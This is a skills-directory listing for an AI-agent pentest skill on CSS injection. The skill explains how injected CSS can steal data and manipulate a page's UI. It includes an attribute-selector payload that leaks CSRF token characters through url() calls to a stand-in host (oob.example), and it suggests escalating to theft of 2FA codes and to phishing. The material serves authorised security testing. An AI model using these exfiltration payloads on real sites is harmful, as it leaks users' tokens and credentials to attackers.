Skip to content
Back to skills

Css Injection

ASecurity

CSS injection — attacker-controlled CSS used to exfiltrate data (attribute-selector + url() leaking CSRF tokens/input char-by-char, :has()/:not() chaining), perform UI redressing, or hide/alter content. Tier 1. Payloads: payloads/client-side.md. Use when input lands in an HTML style block or style attribute without a full XSS.

  • 16 stars
  • 0 votes
  • 0 copies
  • 7 views
  • Added November 17, 2026
securitybackend

Works with

  • cli
  • mcp

Security analysis

A100/100

Scanned November 17, 2026

npx -y skills add AnandJogawade/Zazy-Pentest-Plugin-for-Claude --skill css-injection --agent claude-code

Installs into .claude/skills of the current project.

Are you the author of Css Injection?

Add the live security badge to your README. It updates with every re-scan.

Security grade badge for Css Injection
[![Security: A — Skills Directory](https://www.skillsdirectory.com/api/skills/anandjogawade-css-injection/badge)](https://www.skillsdirectory.com/skills/anandjogawade-css-injection)

More formats (shields.io, HTML) on the badges page. Keep it an A: scan every change in CI with Pro.

Download with Pro
SKILL.md
---
name: css-injection
description: "CSS injection — attacker-controlled CSS used to exfiltrate data (attribute-selector + url() leaking CSRF tokens/input char-by-char, :has()/:not() chaining), perform UI redressing, or hide/alter content. Tier 1. Payloads: payloads/client-side.md. Use when input lands in an HTML style block or style attribute without a full XSS."
---

# CSS Injection

Even without script, injected CSS can steal data and manipulate the UI.

## Trigger phrases
`css injection, style injection, css exfiltration, attribute selector leak, css data theft`

## Method
1. Confirm input reaches `<style>` or a style context.
2. **Data exfiltration:** attribute-selector + `url()` beacons to leak secret values char-by-char:
   ```
   input[name="csrf"][value^="a"]{background:url(//oob.example/leak?c=a)}
   ```
   one rule per character; modern `:has()`/`:not()`/`@import` chaining speeds blind extraction.
3. **UI redress / spoof:** overlay/hide elements, fake content, move controls (clickjacking-like).
4. Confirm leaked values arrive at your server.

## Escalation
Steal CSRF tokens (→ chain `csrf`), input field values, and 2FA codes; combine with injected markup for phishing.

## Backend & tooling
Preferred Kali path or headless browser for client-side execution/evidence; if a Burp MCP is present, proxy traffic for visibility and send PoCs to Repeater (see `zazy-orchestrator`).

## Verification (background, before reporting)
Reproduce in a real browser / second context and confirm impact before marking CONFIRMED; use OAST for blind cases. Report true positives only.

## Evidence
The injected CSS, the exfiltration callbacks (leaked characters), and the data recovered.

Attribution

Is this your skill, or is something wrong with this listing? Request removal or report an issue. Author removals are honored within 72 hours.

View all in security →

Comments

Loading comments…

Newsletter

Get the weekly list of safe new skills, and the ones we pulled.